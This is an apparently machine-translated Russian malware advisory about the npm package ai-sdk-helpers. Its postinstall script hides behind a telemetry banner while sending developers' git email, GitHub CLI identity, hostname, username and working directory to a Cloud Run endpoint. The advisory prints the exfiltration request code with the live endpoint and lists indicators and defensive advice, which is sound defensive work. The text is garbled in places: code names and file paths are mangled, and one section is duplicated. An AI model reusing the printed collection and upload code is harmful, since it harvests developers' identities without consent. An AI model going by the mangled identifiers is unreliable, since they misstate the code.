TL, д-р
Один npm-пакет, ai-sdk-helpers, позиционирует себя как инструментарий для разработки программного обеспечения Vercel AI SDK, предлагающий отслеживание затрат, резервный вариант поставщика и вспомогательные средства для потоковой передачи данных.
Скрипт установки начинается с аккуратного информационного баннера, описывающего... анонимная диагностика, обещая, что исходный код, токены или учетные данные не будут передаваться, соблюдая при этом соглашение. DO_NOT_TRACK отказ от участия и ссылка на страницу с политикой телеметрии.
Затем тот же скрипт считывает идентификатор разработчика в Git, конфигурацию CLI GitHub, имя хоста машины, имя пользователя операционной системы, рабочий каталог и поставщика CI.
Эти данные отправляются методом POST в формате JSON на конечную точку Google Cloud Run, что создает явное несоответствие между заявленной политикой телеметрии и фактически собираемыми полями.
Пакет был выпущен в двадцати двух версиях за один 83-секундный промежуток времени, и скрипт установки идентичен побайтно во всех отмеченных версиях.
Семь из восьми версий были рассмотрены нашими pipeline Результаты были признаны неубедительными классификатором машинного обучения, поскольку оформление баннера согласия выглядит как подлинные телеметрические данные.
Мы классифицируем ai-sdk-helpers признан вредоносным на основе сбора и утечки личных данных разработчика во время установки.
Степень тяжести: высокая.
Анатомия установки
{ "scripts": { "postinstall": "node scripts/postinstall.js" } }послеустановка запускается автоматически Установка npm, прежде чем будет импортирован какой-либо из заявленных в пакете кодов. Скрипт scripts/postinstall.js Здесь хранится вся информация, относящаяся к процессу установки.
Он начинается с блока комментариев и уведомления, отображаемого во время выполнения, написанного на языке реестра проекта с открытым исходным кодом, заботящегося о конфиденциальности:
При установке ai-sdk-helpers мы выполняем быструю проверку совместимости среды и предоставляем анонимные диагностические данные… Данные полностью анонимны — мы собираем информацию о вашей платформе, версии Node и односторонний хеш идентификатора вашей машины. Исходный код, токены и учетные данные никогда не передаются.
В нем даже реализован работающий механизм отказа от участия, первый исполняемый код в файле:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); }Именно установка этих ворот в первую очередь придает остальному вид согласованного решения: застройщик, который задает `D_НЕ_ТРЕК` Установка завершается в фоновом режиме и подтверждает, что пакет соответствует установленным правилам. Возможность отказаться от участия действительно существует. Для тех, кто не установил эту опцию, она ограничивает сбор данных, описанный ниже, а не более узкий набор данных, содержащий «платформу, версию Node и односторонний хеш», как указано в уведомлении.
Ниже этого окна скрипт собирает полезную нагрузку, которая выходит далеко за рамки этого описания.
- *Gt идентичность.* rрешитьScmИдентичность()` головы `~.gitconfig`,`~.config/git/config`,и текущего проекта.it/config`,анализирует `[сер]` раздел и возвращает настроенный commit электронная почта. Если ни один файл конфигурации не выдает сообщение по электронной почте, используется резервный вариант `G`.T_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,и `ЕАЙЛ` переменные среды. В документации над функцией указано, что чтение выполняется «для устранения дублирования установок на машинах, принадлежащих одному и тому же человеку (например, ноутбук + CI)» — заявленная цель, требующая стабильного идентификатора для каждого разработчика, что commit Принадлежности для электронной почты.
- *GАккаунт tHub.* rsolveGitHubIdentity()` головы `~`.config/gh/hosts.yml` и `~.config/gh/hosts.yaml` конфигурационный файл, создаваемый интерфейсом командной строки GitHub при аутентификации разработчика, извлекает `u` с помощью регулярных выражений.эр:` и `еail:` В этом файле также хранится токен GitHub OAuth; регулярное выражение скрипта нацелено именно на строки с именем пользователя и адресом электронной почты и не извлекает токен. Таким образом, утверждение в информационном баннере «токены… никогда не передаются» буквально верно для этого единственного поля, в то время как окружающие идентификаторы учетной записи считываются и отправляются.
- *Hst и CI отпечаток пальца.* Затем скрипт собирает `o`..hostname()`,`o.userInfo().username`,Версия Node, платформа и архитектура, `p`cess.cwd()`,Метка CI-провайдера определяется путем проверки переменных среды для восьми провайдеров (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite и двух общих флагов CI). Список провайдеров представляет собой перечень мест, где скрипт ожидает выполнить скрипт — в интерактивных оболочках и в автоматизированной сборке. pipelineтак же.
Все они объединены в одну группу «d».агностики объект, в котором поля для каждого разработчика собраны под символом `i`.сущность` ey и данные хоста в разделе `r`ntime` и `сntext` глаза, затем сериализованные и переданные:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end();Ответ отбрасывается, и все ошибки игнорируются — в комментарии отмечается, что «телеметрия никогда не должна нарушать установку». Имя хоста конечной точки кодирует службу Google Cloud Run в `e`.rope-west1` регион.
Суть проблемы в том, что баннер перечисляет три категории данных: платформа, версия Node, хеш идентификатора машины. В качестве полезной нагрузки отправляется реальный репозиторий Git разработчика. commit Адрес электронной почты, имя пользователя и адрес электронной почты в GitHub, имя хоста компьютера и имя учетной записи ОС, путь к проекту и среда CI. Поля, идентифицирующие *prson и их счета* именно те поля, которые отсутствуют в раскрытой информации.
В файле README подкрепляется позиция противоположной стороны. В разделе «Телеметрия» повторяется утверждение об анонимности и содержится ссылка на слово «D»._НЕ_ТРЕК` о `сnsoledonottrack.com`,Реальная страница сообщества, документирующая соглашение об отказе от участия — заимствование общепризнанной практики обеспечения конфиденциальности. standard чтобы уведомление воспринималось как обычное.
Лента
Это единичный экземпляр с очень короткой, но очень насыщенной историей публикаций. Нет никакой многонедельной рекламной кампании, которую можно было бы проследить — весь диапазон версий был выпущен с невероятной скоростью.
| Когда (UTC) | События |
|---|---|
| 2026-06-03 20:31:20 | Первая версия (0.1.0) опубликовано в npm. |
| 2026-06-03 20:31:20 – 20:32:43 | Все 22 версии (0.1.0 через 1.4.2) опубликовано в виде автоматической серии сообщений длительностью 83 секунды. |
| 2026-06-04 | Восемь версий были обнаружены сигналами обнаружения; ручной анализ подтверждает сбор и утечку идентификационных данных во время установки. На момент анализа пакет оставался доступным в npm. |
83-секундный интервал между 22 семантическими версиями сам по себе является поведенческим индикатором: лестница версий (`01.0',`01.1',… `14.2`)Представляет собой поверхностный вид активно поддерживаемого проекта с историей релизов, созданный за один запуск скрипта. Скрипт установки не меняется на протяжении всей этой лестницы — см. ниже.
Индикаторы компромисса
Установочный пакет данных идентичен для всех опубликованных версий.фф` ф `сripts/postinstall.js` между версиями `02.1` и версия `14.2` не выявляет никаких различий; поведение представляет собой один фиксированный отпечаток, а не изменяющуюся полезную нагрузку.
Cеть
83-секундный интервал между 22 семантическими версиями сам по себе является поведенческим индикатором: лестница версий (`01.0',`01.1',… `14.2`)Представляет собой поверхностный вид активно поддерживаемого проекта с историей релизов, созданный за один запуск скрипта. Скрипт установки не меняется на протяжении всей этой лестницы — см. ниже.
Индикаторы компромисса
Установочный пакет данных идентичен для всех опубликованных версий.фф` ф `сripts/postinstall.js` между версиями `02.1` и версия `14.2` не выявляет никаких различий; поведение представляет собой один фиксированный отпечаток, а не изменяющуюся полезную нагрузку.
Cеть
| Индикаторные | Роли |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | Конечная точка эксфильтрации, принимающая HTTPS POST-запросы с JSON-данными. Размещена в Google Cloud Run. europe-west1 область. |
Инфраструктура-приманка
| Индикаторные | Роли |
|---|---|
ai-sdk.guide | Домашняя страница пакета и действующий сайт, подтверждающие авторскую идентичность "AI SDK Guide". |
ai-sdk.guide/telemetry | URL-адрес политики телеметрии указан в уведомлении о раскрытии информации во время установки. |
hello@ai-sdk.guide | Адрес электронной почты автора указан в package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Исходный репозиторий, указанный в пакете. |
Файлы считываются во время установки.
- –.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[сер]` почта
- – .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uэр` `eайл`
Поведенческие подписи
- – м `пstinstall` ook вызывает встроенный скрипт Node.
- – шлюз для отказа от участия (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_НЕ_ТРЕК`)представлено как функция обеспечения конфиденциальности, предшествующая сбору идентификационных данных.
- – tbound HTTPS POST-запрос на объект JSON, содержащий адрес электронной почты git, идентификатор GitHub, имя хоста, имя пользователя ОС, текущий рабочий каталог и метку CI.
- – Идентичный скрипт установки для быстро распространяемой версионной лестницы
Атрибуция и наблюдаемое поведение
Мы не приписываем никаких данных, кроме тех, что содержатся в метаданных пакета и реестра.
Ответственным за поддержку npm является учетная запись `a`.ielsimon`,с адресом `aiel@vigilance.security`.В реестре этот адрес электронной почты указан как неподтвержденный, а идентификатор учетной записи в системе контроля версий также указан как неподтвержденный.`ckage.json`,Отдельно автор представлен как «Руководство по SDK для ИИ».ello@ai-sdk.guide>`”с главной страницей «a»-sdk.guide` и репозиторий исходного кода под названием `gОрганизация `thub.com/ai-sdk-guide`. Домен электронной почты издательской учетной записи (`vigilance.security`).и идентификатор автора внутри пакета (`a-sdk.guide`)Это разные области.
The `a-sdk.guide` Он активен и отвечает, и `/электрометрия` ath resolves — ложная личность подкрепляется доступным веб-ресурсом, а не неработающей ссылкой, что повышает доверие к представленной информации.
**Наблюдаемая возможность.** Во время установки пакет считывает файлы идентификации разработчика и конфигурации учетной записи, определяет идентификатор хоста и среды CI и передает результат на управляемую оператором конечную точку, отображая при этом уведомление, описывающее более узкий и анонимизированный набор данных. Мы описываем это поведение; мы не заявляем о его мотивах. Читатели, оценивающие пакет, — включая любую сторону, которая узнает личность издателя, — должны учитывать наблюдаемое несоответствие между заявленными и фактическими потоками данных.
Влияние, тенденции и рекомендации для защитников
Кто подвергся опасности. Любой, кто устанавливает ai-sdk-helpers — напрямую или в качестве транзитивной зависимости — запускает сбор данных на этой машине. Потому что триггером является послеустановкаПри этом для осуществления потока данных рекламируемый код библиотеки никогда не нужно импортировать; достаточно одной установки. Наиболее ценными средами являются рабочие станции разработчиков с настроенной учетной записью Git и аутентифицированным интерфейсом командной строки GitHub, а также средства запуска CI, где определение поставщика CI скриптом указывает на то, что сбор данных должен выполняться внутри сборки. pipelineа также на ноутбуках.
Что это раскрывает. В общем случае речь идёт не о секретах приложения — полезная нагрузка сосредоточена на личность: разработчика commit Адрес электронной почты, имя пользователя и адрес электронной почты их учетной записи GitHub, имя компьютера и учетной записи, а также путь к проекту. Это предварительная информация.cisКарта, показывающая, кто установил пакет, на какой машине, в каком репозитории и под какой системой CI. Для организации несколько таких записей в совокупности позволят определить, какие инженеры и какие системы сборки использовали эту зависимость — это полезно в качестве предварительного этапа для более целенаправленных последующих действий, даже несмотря на то, что поведение самого пакета ограничивается сбором и передачей.
Тенденция: телеметрия как прикрытие. Легитимные инструменты для разработчиков действительно собирают анонимизированные данные диагностики установки, и существуют правила уважительного подхода к этому — уведомление о раскрытии информации, НЕ ОТСЛЕЖИВАТЬ Уважение, флаг отказа от участия, URL-адрес политики — все это хорошо известно. ai-sdk-helpers Он точно воспроизводит все четыре этих соглашения и использует их в качестве оболочки для сбора идентификационных данных. Наличие баннера согласия, работающей возможности отказа или ссылки на политику конфиденциальности не является доказательством надежности пакета; эти элементы управления недорого имитировать. Единственная надежная проверка — это то, что код фактически считывает и куда он фактически отправляет данные.
Эта упаковка также оказывает ощутимое влияние на автоматизированную сортировку. Во всех версиях нашей продукции... pipeline При проверке комментарии в скрипте установки, написанные простым языком, структурированные имена полей и стандартный механизм отказа от участия были оценены как обычные телеметрические данные: семь из восьми были получены. неубедительный Это происходит из-за классификатора машинного обучения, а не из-за злого умысла. Сигнал, разрешающий неоднозначность, находится не в тексте, а в конкретных файлах, которые открывает скрипт.~ / .gitconfig, ~/.config/gh/hosts.yml) и в какой пункт назначения он отправляется. Рецензент, автоматизированный или человеческий, который читает описание и останавливается на этом, придет к неверному выводу; решение должно приниматься на основе фактов о потоке данных.
Рекомендации для защитников:
- Установка с отключенными по умолчанию скриптами — npm install –ignore-scripts, или установить ignore-scripts=true in .npmrc и явно запускать проверенные этапы сборки. Это нейтрализует послеустановка-Запустил сбор данных по всем направлениям.
- Не следует рассматривать механизмы отказа от участия как сигналы доверия. НЕ ОТСЛЕЖИВАТЬ Проверка или ссылка на «политику телеметрии» ничего не говорят о данных, которые собирает скрипт, когда ворота не установлены.
- Перед использованием вспомогательных пакетов для экосистемы ИИ ознакомьтесь с инструкцией по установке. Сфера SDK для ИИ от Vercel — это быстро развивающаяся и вызывающая высокий уровень доверия область; послеустановка это касается ~ / .gitconfig or ~/.config/gh/ Это явный сигнал, независимо от того, как написаны окружающие комментарии.
- Мониторинг исходящего трафика во время сборки. Исходящий HTTPS POST-запрос во время сборки. Установка npmОсобенно в случае недавно созданной конечной точки облачной функции, это явление наблюдается на сетевом уровне и является важным фактором обнаружения в средах непрерывной интеграции.
- Обратите внимание на сжатые истории версий. Пакет, вся история семантических версий которого отображается за считанные секунды при неизменном скрипте установки, представляет собой искусственно созданную историю обслуживания.






